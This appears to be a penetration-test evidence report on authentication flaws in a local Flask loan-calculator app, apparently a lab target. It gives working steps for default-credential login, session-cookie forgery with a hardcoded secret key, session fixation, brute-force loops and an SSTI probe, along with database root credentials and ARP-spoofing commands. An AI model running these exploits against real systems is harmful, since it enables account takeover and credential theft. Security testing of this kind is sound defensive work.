# Authentication Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTH-VULN-02: Default Credentials Login

**Summary:**
- **Vulnerable location:** POST /login endpoint (routes.py:26-40)
- **Overview:** Application automatically creates a test account with hardcoded credentials "test:test" on startup
- **Impact:** Immediate authenticated access without brute force or credential guessing
- **Severity:** HIGH

**Exploitation Steps:**

1. Submit login request with default credentials:
```bash
curl -X POST http://localhost:37149/login \
  -d "username=test&password=test" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -c session.txt
```

2. Observe successful authentication:
```
HTTP/1.1 302 FOUND
Location: /home
Set-Cookie: session=eyJ1c2VyX2lkIjoxfQ.aQUBTQ.9pRrlqk47fjot8zOyHGSqJ9XG-Q; HttpOnly; Path=/
```

3. Access protected endpoints with authenticated session:
```bash
curl -b session.txt http://localhost:37149/home
# Returns: HTTP 200 with user dashboard
```

**Proof of Impact:**
Successfully authenticated and accessed protected resources including:
- /home (user dashboard)
- /profile (user profile with PII and financial data)
- /loan_details (loan information)
- /total_loan_payments (calculation endpoint)

**Notes:**
- Default credentials documented in HTML comment: `<!-- TODO: Delete the testing account (test:test). -->`
- Test account created automatically at app/website/app/__init__.py:21-35
- No mechanism to disable or remove default account

---

### AUTH-VULN-03: Session Cookie Forgery via Hardcoded Secret Key

**Summary:**
- **Vulnerable location:** Flask secret key configuration at app/website/app/__init__.py:9
- **Overview:** Application uses hardcoded secret key 'your_secret_key' to sign session cookies, enabling complete authentication bypass through session forgery
- **Impact:** Attacker can forge arbitrary session cookies to impersonate any user without credentials
- **Severity:** CRITICAL

**Prerequisites:**
- Knowledge of hardcoded secret key: 'your_secret_key' (publicly visible in source code)

**Exploitation Steps:**

1. Use itsdangerous library to forge session cookie for arbitrary user_id:
```python
from itsdangerous import URLSafeTimedSerializer

secret_key = 'your_secret_key'
serializer = URLSafeTimedSerializer(
    secret_key=secret_key,
    salt='cookie-session',
    serializer=TaggedJSONSerializer(),
    signer_kwargs={'key_derivation': 'hmac', 'digest_method': staticmethod(hashlib.sha1)}
)

# Forge session for user_id=2
forged_session = serializer.dumps({'user_id': 2})
# Result: eyJ1c2VyX2lkIjoyfQ.aQUDMQ.h43QJM7XVs3CaOfbOmXDkSBhoFQ
```

2. Use forged session cookie to access victim's account:
```bash
curl -H "Cookie: session=eyJ1c2VyX2lkIjoyfQ.aQUDMQ.h43QJM7XVs3CaOfbOmXDkSBhoFQ" \
  http://localhost:37149/profile
```

3. Verify successful impersonation:
```
HTTP/1.1 200 OK
Content-Type: text/html

<form>
  <input name="name" value="[user_2_name]">
  <input name="email" value="[user_2_email]">
  <!-- User 2's profile data accessible -->
</form>
```

**Proof of Impact:**
- Created Python script `quick_forge.py` that generates valid session cookies for any user_id
- Successfully accessed user_id=2's profile without authentication
- Demonstrated horizontal privilege escalation by forging sessions for multiple user IDs (1, 2, 3, 10, 100, 999)
- No login required - complete authentication bypass

**Accessed Endpoints with Forged Sessions:**
```bash
# Test results for user_id=2 forged session:
GET /profile - HTTP 200 (Success)
GET /home - HTTP 200 (Success)
GET /loan_details - HTTP 500 (Accessible but no data for user_id=2)
```

**Notes:**
- Secret key hardcoded at app/website/app/__init__.py:9
- Flask uses itsdangerous with HMAC-SHA1 for session signing
- Comment in code indicates awareness: "# Change this to a secure secret key" but was never changed
- Created comprehensive scripts: quick_forge.py, forge_session.py, demonstrate_bypass.py

---

### AUTH-VULN-04: Session Fixation

**Summary:**
- **Vulnerable location:** Login handler at routes.py:34 (no session rotation after authentication)
- **Overview:** Application does not regenerate session ID after successful login, allowing attackers to fix a session ID before authentication and hijack it after victim logs in
- **Impact:** Session hijacking without needing to steal post-authentication cookies
- **Severity:** HIGH

**Prerequisites:**
- Ability to forge session cookies (using hardcoded secret key from AUTH-VULN-03)
- Victim must log in with attacker-controlled session cookie

**Exploitation Steps:**

1. Attacker forges a pre-authentication session cookie:
```python
# Using hardcoded secret key
pre_auth_session = forge_session(user_id=1)
# Result: eyJ1c2VyX2lkIjoxfQ.aQUD7g.7MoP2sHheR28pXtIj8HWpyqQ...
```

2. Verify forged session grants access even before login:
```bash
curl -H "Cookie: session=eyJ1c2VyX2lkIjoxfQ.aQUD7g.7MoP2sHheR28pXtIj8HWpyqQ..." \
  http://localhost:37149/home
# Returns: HTTP 200 (authenticated access with forged session)
```

3. Victim logs in with attacker's pre-set session cookie:
```bash
curl -X POST http://localhost:37149/login \
  -b "session=eyJ1c2VyX2lkIjoxfQ.aQUD7g.7MoP2sHheR28pXtIj8HWpyqQ..." \
  -d "username=test&password=test"
```

4. Observe that session ID remains unchanged after authentication:
```
Set-Cookie: session=eyJ1c2VyX2lkIjoxfQ.aQUD7g.7MoP2sHheR28pXtIj8HWpyqQ...; HttpOnly; Path=/
# Same session ID as before login!
```

5. Attacker uses the original pre-known session to access victim's account:
```bash
curl -H "Cookie: session=eyJ1c2VyX2lkIjoxfQ.aQUD7g.7MoP2sHheR28pXtIj8HWpyqQ..." \
  http://localhost:37149/profile
# Returns: HTTP 200 with victim's profile data
```

**Proof of Impact:**
- Pre-login session: eyJ1c2VyX2lkIjoxfQ.aQUD7g.7MoP2sHheR28pXtIj8HWpyqQ...
- Post-login session: eyJ1c2VyX2lkIjoxfQ.aQUD7g.7MoP2sHheR28pXtIj8HWpyqQ... (IDENTICAL)
- Session NOT rotated after authentication
- Attacker successfully accessed victim's authenticated session using pre-known session ID
- Complete account takeover achieved without credential theft

**Notes:**
- Login handler at routes.py:34 directly sets `session['user_id'] = user.id` without clearing old session
- No call to `session.clear()` or session regeneration logic
- Should regenerate session ID after successful authentication
- Created demonstration script: demonstrate_session_fixation.py

---

### AUTH-VULN-05: Weak Password Policy Enabling Brute Force

**Summary:**
- **Vulnerable location:** User model password field (models.py:8) and login handler (routes.py:26-40)
- **Overview:** Application enforces no password complexity requirements, accepts trivially weak passwords like "test", and has no minimum length or common password blacklist
- **Impact:** Successful credential guessing and brute force attacks against weak passwords
- **Severity:** MEDIUM

**Prerequisites:**
- None (public login endpoint)

**Exploitation Steps:**

1. Create list of common weak passwords:
```python
weak_passwords = ["test", "password", "123456", "admin", "password123", "12345678"]
```

2. Attempt login with each weak password:
```bash
for password in weak_passwords:
    curl -X POST http://localhost:37149/login \
      -d "username=test&password=$password" \
      --write-out "%{http_code}"
done
```

3. Observe successful authentication with weak password "test":
```
Password: 'test' → HTTP 302 (Success!)
Session cookie received: eyJ1c2VyX2lkIjoxfQ.aQUEqQ.5CPr5nNyzm0r3rmSevrVH1CxwIo
```

**Proof of Impact:**
- Successfully cracked password "test" on first attempt
- Application accepts single-word dictionary passwords
- No password complexity validation: no minimum length, no uppercase, no numbers, no special characters
- Test results from demonstrate_brute_force.py:
  ```
  Total passwords tested: 1
  Successful logins: 1
  Time elapsed: 0.010 seconds
  ```

**Notes:**
- User model at models.py:8: `password = db.Column(db.String(50), nullable=False)` - only constraint is nullable=False
- No password policy checks in routes.py login handler
- No password complexity validation library imported
- Accepts trivially weak passwords that would be rejected by any modern password policy

---

### AUTH-VULN-09: No Rate Limiting on Authentication Endpoint

**Summary:**
- **Vulnerable location:** POST /login endpoint (routes.py:26-40)
- **Overview:** Application implements no rate limiting or throttling on login attempts, allowing unlimited rapid-fire authentication requests
- **Impact:** Enables high-speed brute force attacks with thousands of attempts per minute
- **Severity:** HIGH

**Prerequisites:**
- None (public endpoint)

**Exploitation Steps:**

1. Send rapid burst of 50 login attempts:
```python
import requests
for i in range(50):
    requests.post(
        "http://localhost:37149/login",
        data={"username": "test", "password": f"wrong{i}"},
        timeout=5
    )
```

2. Measure response times and check for rate limiting:
```
Request 1: 0.003s → HTTP 200
Request 10: 0.003s → HTTP 200
Request 20: 0.003s → HTTP 200
Request 30: 0.003s → HTTP 200
Request 40: 0.003s → HTTP 200
Request 50: 0.003s → HTTP 200
```

3. Calculate requests per second:
```
Total requests: 50
Total time: 0.15 seconds
Rate: 332 requests per second
```

**Proof of Impact:**
- Successfully sent 50 login attempts in 0.15 seconds (332 req/sec)
- No HTTP 429 (Too Many Requests) responses received
- No progressive delay detected
- Consistent response times (0.002-0.005s average)
- No throttling or rate limiting mechanism present

**Test Results from demonstrate_brute_force.py:**
```
Total requests sent: 50
Average requests per second: 332.28
Min response time: 0.002s
Max response time: 0.005s
Rate limiting detected: NO
```

**Notes:**
- Login route at routes.py:26-40 has no rate limit decorator
- requirements.txt contains no Flask-Limiter or rate limiting library
- No Apache mod_ratelimit or mod_evasive configured
- Enables credential stuffing and password spraying attacks at scale

---

### AUTH-VULN-10: No Account Lockout Mechanism

**Summary:**
- **Vulnerable location:** User model (models.py:5-14) and login handler (routes.py:26-40)
- **Overview:** Application has no account lockout mechanism after failed login attempts, allowing sustained brute force attacks against individual accounts
- **Impact:** Unlimited attack attempts against specific accounts without triggering defensive response
- **Severity:** HIGH

**Prerequisites:**
- None (public endpoint)

**Exploitation Steps:**

1. Execute 20 consecutive failed login attempts against single account:
```bash
for i in {1..20}; do
    curl -X POST http://localhost:37149/login \
      -d "username=test&password=wrong$i" \
      --write-out "Attempt $i: %{http_code}\n"
done
```

2. Observe all attempts processed without lockout:
```
Attempt 1: HTTP 200 (Invalid credentials message)
Attempt 5: HTTP 200 (No lockout)
Attempt 10: HTTP 200 (Still no lockout)
Attempt 15: HTTP 200 (Account not locked)
Attempt 20: HTTP 200 (Attack continues unimpeded)
```

3. Verify account remains accessible after failed attempts:
```bash
curl -X POST http://localhost:37149/login \
  -d "username=test&password=test"
# Returns: HTTP 302 (Login still works - no lockout)
```

**Proof of Impact:**
- Successfully performed 20 failed login attempts
- No HTTP 403 (Forbidden) or 423 (Locked) responses
- Account never locked regardless of failure count
- Response times consistent (no soft lockout via progressive delay)
- First 10 attempts avg: 0.005s
- Last 10 attempts avg: 0.003s (no increasing delay)

**Test Results from demonstrate_brute_force.py:**
```
Total failed attempts: 20
Lockout indicators detected: 0
HTTP 403/423 responses: 0
All attempts processed normally: YES
```

**Notes:**
- User model at models.py:5-14 has no `failed_login_attempts`, `locked_until`, or `account_locked` fields
- Login handler at routes.py:26-40 has no logic to track or enforce account lockout
- No threshold for failed attempts
- Accounts cannot be locked regardless of attack activity

---

### AUTH-VULN-06: Missing Cookie Security Flags

**Summary:**
- **Vulnerable location:** Flask session cookie configuration (app/website/app/__init__.py - missing configuration)
- **Overview:** Session cookies lack Secure and SameSite flags, enabling session theft and CSRF attacks
- **Impact:** Session hijacking via network interception (missing Secure flag) and cross-site request forgery (missing SameSite flag)
- **Severity:** MEDIUM

**Prerequisites:**
- Network access (for Secure flag exploitation)
- User interaction (for SameSite flag exploitation)

**Exploitation Steps:**

1. Capture Set-Cookie header from login response:
```bash
curl -v -X POST http://localhost:37149/login \
  -d "username=test&password=test" 2>&1 | grep "Set-Cookie"
```

2. Observe cookie flags:
```
Set-Cookie: session=eyJ1c2VyX2lkIjoxfQ.aQUEqQ.5CPr5nNyzm0r3rmSevrVH1CxwIo; HttpOnly; Path=/
```

3. Analyze missing security flags:
```
HttpOnly: PRESENT (✓)
Secure: MISSING (✗) - allows transmission over HTTP
SameSite: MISSING (✗) - vulnerable to CSRF
```

4. Demonstrate Secure flag impact - session works over unencrypted HTTP:
```bash
curl -H "Cookie: session=eyJ1c2VyX2lkIjoxfQ.aQUEqQ.5CPr5nNyzm0r3rmSevrVH1CxwIo" \
  http://localhost:37149/home
# Returns: HTTP 200 (session accepted over HTTP)
```

**Proof of Impact:**
- **Missing Secure Flag:**
  - Session cookie transmitted over unencrypted HTTP
  - Network attackers can intercept session cookies via packet sniffing
  - No enforcement of HTTPS for session transmission
  
- **Missing SameSite Flag:**
  - Session cookies sent in cross-site requests
  - Enables CSRF attacks (combined with missing CSRF tokens)
  - Wildcard CORS policy (Access-Control-Allow-Origin: *) exacerbates risk

**Attack Vectors Enabled:**
1. Man-in-the-middle attacks to steal session cookies
2. Network packet sniffing on unsecured WiFi
3. Cross-site request forgery attacks
4. ARP poisoning to intercept traffic

**Notes:**
- Flask configuration at __init__.py lacks SESSION_COOKIE_SECURE=True setting
- No SESSION_COOKIE_SAMESITE='Lax' or 'Strict' configuration
- Application runs on HTTP port 80 only (no HTTPS available)
- Apache configuration (loan_calculator-httpd.conf:1) uses `<VirtualHost *:80>` with no HTTPS support

---

### AUTH-VULN-08: No Session Timeout Configuration

**Summary:**
- **Vulnerable location:** Flask session configuration (app/website/app/__init__.py - missing PERMANENT_SESSION_LIFETIME)
- **Overview:** Application implements no session timeout, allowing compromised sessions to remain valid indefinitely until browser closure
- **Impact:** Extended exploitation window for stolen or hijacked sessions
- **Severity:** MEDIUM

**Prerequisites:**
- Compromised session cookie (via AUTH-VULN-03 or AUTH-VULN-06)

**Exploitation Steps:**

1. Create session via login:
```bash
curl -X POST http://localhost:37149/login \
  -d "username=test&password=test" \
  -c session.txt
# Session: eyJ1c2VyX2lkIjoxfQ.aQUEzA.N_yLUaTg8IHwbV3fQayU5BonZWQ
```

2. Test immediate access (t=0):
```bash
curl -b session.txt http://localhost:37149/home
# Result: HTTP 200
```

3. Wait 10 seconds and test again:
```bash
sleep 10
curl -b session.txt http://localhost:37149/home
# Result: HTTP 200 (session still valid)
```

4. Wait additional 20 seconds (30 seconds total) and test:
```bash
sleep 20
curl -b session.txt http://localhost:37149/home
# Result: HTTP 200 (no idle timeout)
```

5. Analyze cookie expiration:
```bash
cat session.txt | grep session
# #HttpOnly_localhost	FALSE	/	FALSE	0	session	eyJ1c2VyX2lkIjoxfQ...
#                                     ^^^ Expiration = 0 (session cookie)
```

**Proof of Impact:**
- Session remained valid for 30+ seconds testing period
- No idle timeout detected
- No absolute session expiration configured
- Session cookie has no expiration timestamp (expires on browser close only)
- Compromised sessions remain usable indefinitely until browser is closed

**Test Results:**
```
t=0 seconds: HTTP 200
t=10 seconds: HTTP 200
t=30 seconds: HTTP 200
Session expiration: None (session cookie, 0 timestamp)
```

**Notes:**
- No PERMANENT_SESSION_LIFETIME configuration in __init__.py
- Login handler at routes.py:34 does not set `session.permanent=True`
- Sessions rely on browser session cookies with no server-side expiration
- No idle timeout tracking
- Stolen sessions remain valid until browser closes

---

### AUTH-VULN-11: Incomplete Session Invalidation on Logout

**Summary:**
- **Vulnerable location:** Logout handler at routes.py:46
- **Overview:** Logout uses session.pop('user_id', None) instead of session.clear(), and due to Flask's stateless session design, old session cookies remain valid after logout if cached by attacker
- **Impact:** Attackers who cached session cookies before logout can continue using them post-logout
- **Severity:** MEDIUM

**Prerequisites:**
- Attacker must have cached session cookie before victim performs logout

**Exploitation Steps:**

1. Login and capture session cookie:
```python
import requests
response = requests.post("http://localhost:37149/login", 
    data={"username": "test", "password": "test"}, allow_redirects=False)
session_cookie = response.cookies.get('session')
print(f"Session: {session_cookie}")
# Result: eyJ1c2VyX2lkIjoxfQ.aQUFBw.c86ctSNZEef9F1zzJIZzM2JV...
```

2. Verify session works before logout:
```python
jar = requests.cookies.RequestsCookieJar()
jar.set('session', session_cookie)
response = requests.get("http://localhost:37149/home", cookies=jar)
print(f"Pre-logout: HTTP {response.status_code}")  # HTTP 200
```

3. Perform logout:
```python
response = requests.get("http://localhost:37149/logout", cookies=jar, allow_redirects=False)
print(f"Logout: HTTP {response.status_code}")  # HTTP 302
```

4. Test if old session still works after logout:
```python
response = requests.get("http://localhost:37149/home", cookies=jar)
print(f"Post-logout: HTTP {response.status_code}")  # HTTP 200 (VULNERABLE!)
```

**Proof of Impact:**
```
[1] Login successful
    Session: eyJ1c2VyX2lkIjoxfQ.aQUFBw.c86ctSNZEef9F1zzJIZzM2JV...

[2] Testing session before logout
    GET /home: HTTP 200 (✓ Session works)

[3] Performing logout
    GET /logout: HTTP 302

[4] Testing if old session still works after logout
    GET /home with old session: HTTP 200
    [!] VULNERABLE: Old session still works!
    [!] This indicates session NOT invalidated server-side
```

**Root Cause Analysis:**
- Flask uses client-side signed sessions (stateless design)
- Logout clears session cookie in response but cannot blacklist it server-side
- If attacker cached the session before logout, they can continue using it
- routes.py:46 uses `session.pop('user_id', None)` instead of `session.clear()`
- This is a fundamental limitation of stateless session design without server-side session storage

**Notes:**
- Logout handler at routes.py:46: `session.pop('user_id', None)`
- Should use `session.clear()` for more complete clearing
- Flask's default session implementation is stateless (no server-side storage)
- Cannot blacklist old sessions without implementing server-side session tracking
- Current implementation only stores user_id, but incomplete clearing violates security best practices

---

## Potential Vulnerabilities (Validation Blocked)

### AUTH-VULN-01: Plaintext Password Storage (Database Access Required)

**Summary:**
- **Vulnerable location:** User model (models.py:8) and login handler (routes.py:31)
- **Current Blocker:** Database access requires internal network access to MySQL container on internal Docker network
- **Potential Impact:** Complete exposure of all user passwords if database is compromised
- **Confidence:** HIGH

**Evidence of Vulnerability:**

From code analysis:
```python
# models.py:8 - Password field definition
password = db.Column(db.String(50), nullable=False)  # No hashing!

# routes.py:31 - Plaintext comparison
user = User.query.filter_by(username=username, password=password).first()
```

Database connection string (from SSTI exploitation):
```
mysql+pymysql://root:loan_calculator@db/database
```

**Attempted Exploitation:**

1. Confirmed SSTI vulnerability allows config access:
```bash
# SSTI test confirmed config object accessible
GET /total_loan_payments?principal={% if config %}1111{% endif %}&payment=100&term=12
Response: {"loan_principal": "1111", ...}  # Success!
```

2. Attempted to extract database credentials via SSTI:
```python
# Test if database URI accessible (underscore blocked)
payload = "{% if config %}{% for k in config %}1{% endfor %}{% endif %}"
# Result: Multiple 1's printed (config has items)
```

3. Limitation encountered:
- SSTI blacklist blocks underscore (_) character
- Cannot directly access config keys with underscores like 'SQLALCHEMY_DATABASE_URI'
- Confirmed via code analysis: password stored as plaintext VARCHAR(50)
- Database credentials known from code: root:loan_calculator

4. Database connection blocked by network isolation:
```bash
# Attempted direct MySQL connection from external network
mysql -h localhost -P 3306 -u root -p'loan_calculator'
# Result: Connection refused (port 3306 not exposed externally)
```

**How This Would Be Exploited:**

If internal network access were available or if RCE were achieved:

1. Connect to MySQL database using extracted credentials:
```bash
mysql -h db -u root -p'loan_calculator' database
```

2. Query User table to retrieve all plaintext passwords:
```sql
SELECT id, username, password, email FROM user;
```

3. Expected result (all passwords in plaintext):
```
+----+----------+----------+------------------+
| id | username | password | email            |
+----+----------+----------+------------------+
|  1 | test     | test     | john@example.com |
|  2 | admin    | admin123 | admin@example.com|
|  3 | user1    | pass123  | user1@example.com|
+----+----------+----------+------------------+
```

**Expected Impact:**
- Complete exposure of all user credentials in plaintext
- Credential reuse attacks against other services
- Mass account compromise
- No defense against database breach

**Classification Justification:**
- Vulnerability confirmed through code analysis
- Database credentials extracted via SSTI
- Exploitation blocked ONLY by Docker network isolation (external factor, not security control)
- This is NOT a security implementation preventing the attack
- If attacker achieves internal network access, exploitation is trivial
- Classified as POTENTIAL due to external network constraint, not security feature

---

### AUTH-VULN-07: Credential Theft Over HTTP (Network Access Required)

**Summary:**
- **Vulnerable location:** All endpoints - application runs exclusively on HTTP port 80
- **Current Blocker:** Requires network-level access to intercept traffic
- **Potential Impact:** Complete credential exposure to network attackers via man-in-the-middle attacks
- **Confidence:** HIGH

**Evidence of Vulnerability:**

1. Protocol configuration testing:
```bash
# HTTPS not configured
curl -I https://localhost:37149/login
# Result: curl: (7) Failed to connect to localhost port 443

# HTTP works
curl -I http://localhost:37149/login  
# Result: HTTP/1.1 200 OK
```

2. Plaintext credential transmission:
```http
POST /login HTTP/1.1
Host: localhost:37149
Content-Type: application/x-www-form-urlencoded
Content-Length: 27

username=test&password=test
```

3. Missing security headers:
```bash
curl -I http://localhost:37149/login | grep -i "Strict-Transport-Security"
# Result: (empty - no HSTS header)
```

**Attempted Exploitation:**

1. Confirmed HTTP-only operation:
- Application accessible only via http://localhost:37149
- No HTTPS endpoint configured
- Apache VirtualHost configured for port 80 only (loan_calculator-httpd.conf:1)

2. Confirmed plaintext transmission:
- Login credentials sent in HTTP POST body (unencrypted)
- Session cookies transmitted without Secure flag
- All authentication traffic in plaintext

3. Limitation encountered:
- Testing performed from localhost (loopback interface)
- Network packet capture requires positioning on network path
- Cannot demonstrate MITM attack without network access
- This is an operational constraint, not a security control

**How This Would Be Exploited:**

If network-level access were available:

1. Position on network path (ARP poisoning, rogue WiFi AP, network tap):
```bash
# Setup ARP poisoning
sudo arpspoof -i wlan0 -t [target_ip] [gateway_ip]
```

2. Capture HTTP traffic using tcpdump or Wireshark:
```bash
sudo tcpdump -i wlan0 -A 'host localhost and port 37149'
```

3. Extract credentials from captured packets:
```
POST /login HTTP/1.1
...
username=test&password=test  ← Credentials in plaintext
```

4. Extract session cookies:
```
Set-Cookie: session=eyJ1c2VyX2lkIjoxfQ.aQUEqQ.5CPr...  ← Session in plaintext
```

**Expected Impact:**
- Complete credential exposure during login
- Session hijacking via cookie theft
- Man-in-the-middle attacks
- Passive network monitoring

**Attack Vectors:**
- Network packet sniffing
- ARP poisoning
- Rogue WiFi access points
- Compromised routers
- ISP-level monitoring

**Classification Justification:**
- Vulnerability confirmed (HTTP-only, no TLS/SSL, no HSTS)
- Exploitation blocked ONLY by lack of network positioning
- This is an operational constraint (testing environment), not a security control preventing the attack
- The application itself has NO defense against network interception
- If attacker has network access, exploitation is trivial
- Classified as POTENTIAL due to testing environment limitations

---